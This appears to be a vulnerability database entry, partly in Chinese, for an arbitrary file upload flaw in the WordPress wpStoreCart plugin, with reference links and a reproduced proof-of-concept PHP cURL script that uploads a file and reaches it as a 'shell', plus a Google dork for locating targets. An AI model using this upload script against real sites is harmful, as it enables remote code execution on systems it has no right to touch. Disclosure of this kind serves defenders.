WordPress ‘wpStoreCart’插件无限制文件上传漏洞

https://www.exploit-db.com/exploits/19023
https://www.securityfocus.com/bid/78157
https://cxsecurity.com/issue/WLB-2012060103
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201206-235

WordPress是WordPress软件基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress中的wpStoreCart插件2.5.30之前版本中的php/upload.php中存在无限制文件上传漏洞。远程攻击者可利用该漏洞通过上传可执行扩展文件执行任意代码，然后通过直接请求到uploads/wpstorecart文件访问它。

##################################################
# Description : Wordpress Plugins - wpStoreCart Arbitrary File Upload 
Vulnerability
# Version : 2.5.27 - 2.5.29
# Link : http://wordpress.org/extend/plugins/wpstorecart/
# Plugins : http://downloads.wordpress.org/plugin/wpstorecart.2.5.29.zip
# Date : 03-06-2012
# Google Dork : inurl:/wp-content/plugins/wpstorecart/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wpstorecart/php/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/wpstorecart/lo.php

lo.php
<?php
phpinfo();
?>

Jquindlen Wpstorecart 3.1.3 Jquindlen Wpstorecart 2.5.29 Jquindlen Wpstorecart 2.5.28 Jquindlen Wpstorecart 2.5.27 Jquindlen Wpstorecart 2.5.26 Jquindlen Wpstorecart 2.5.

来源:XF
名称:wpstorecart-upload-file-upload(76166)
链接:http://xforce.iss.net/xforce/xfdb/76166
来源:EXPLOIT-DB
名称:19023
链接:http://www.exploit-db.com/exploits/19023
来源:wordpress.org
链接:http://wordpress.org/extend/plugins/wpstorecart/changelog/
来源:SECUNIA
名称:49459
链接:http://secunia.com/advisories/49459
来源:plugins.trac.wordpress.org
链接:http://plugins.trac.wordpress.org/changeset?old_path=%2Fwpstorecart&old=555124&new_path=%2Fwpstorecart&new=555124